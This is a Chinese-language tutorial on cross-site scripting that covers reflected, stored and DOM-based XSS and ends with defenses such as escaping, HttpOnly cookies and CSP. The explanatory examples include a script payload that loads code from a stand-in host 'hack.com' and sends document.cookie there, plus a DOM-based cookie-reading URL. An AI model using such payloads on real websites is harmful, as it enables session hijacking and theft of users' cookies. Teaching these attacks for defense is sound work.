XSS的定义

XSS(Cross Site Scripting),指的是跨站脚本攻击,攻击者在网页代码中注入脚本,当用户浏览网页的时候,脚本会在浏览器执行,达到攻击者的目的。常见的获取用户的Cookie

XSS的类型

XSS的类型有三种,分别是反射型XSS,持久型XSS,DOM-based XSS,下面分别介绍

反射型XSS

反射型XSS就是通过用户的数据来“反射”给浏览器,攻击者通过诱导用户点击恶意的链接,来获取用户的敏感信息。通常用来盗取cookie,举个栗子

用户登录了电商网站,用户通过搜索某些内容,回显结果的时候,服务端没有对搜索的内容进行处理,直接输出到页面

比如用户搜索商品内容为 %3Cscript%20src%3D%22http%3A%2F%2Fhack.com%2Fhacker.js%22%3E%3C%2Fscript%3E

解码后的输出搜索的内容到页面,相当于运行了

<script src="http://hack.com/hacker.js"></script>

hacker.js返回的内容是

var img = new Image();
img.src = "http://hack.com/hack.html?q="+document.cookie;
document.body.append(img)

用户不小心点击了这张图片,就会导致发送一个请求到攻击者服务器,并且携带cookie。

存储型XSS

存储型XSS,是一种持久化的攻击,比如在发表评论和文章的地方,如果对内容进行直接存储,就可能导致攻击的代码存储到数据库,只要某一用户访问对应的内容时,就会触发XSS,反射型XSS能做到的存储型XSS也能做到,主要的区别是否是存储在数据库

DOM-based XSS

基于DOM的XSS,就是利用DOM来实现XSS攻击,不依赖于服务器返回,比如我们网站基于url参数来选择国际化语言

document.write("<option value=1>"+document.location.href.substring(
document.location.href.indexOf("default=")+8)+"</option>");

正常情况下的url为http://www.some.site/page.html?default=French,浏览器会渲染option选项

如果攻击者构造url为http://www.some.site/page.html?default=<script>alert(document.cookie)</script>,就会产生攻击,获取到受害者的cookie

也可以通过img,script标签的src属性来实现XSS,因为<img src="https://www.baidu.com?a=document.cookie" /> 也会向攻击者发送一个请求

XSS的防御

在前端开发的时候,我们需要做好几点

  1. 对用户提交的数据,比如搜索,表单,评论等等,都需要进行过滤和转码后提交,服务器最好也要做响应的处理
  2. 对js控制输出到页面代码,比如innerHTMLdocument.writeeval,等操作。要防止直接输出,要对内容进行转义
  3. 设置cookie的HttpOnly属性,这样浏览器就无法通过脚本获取到cookie的值
  4. 使用CSP制定浏览器能够执行的可信赖脚本的域名来减少或者消除由XSS可能出现的矢量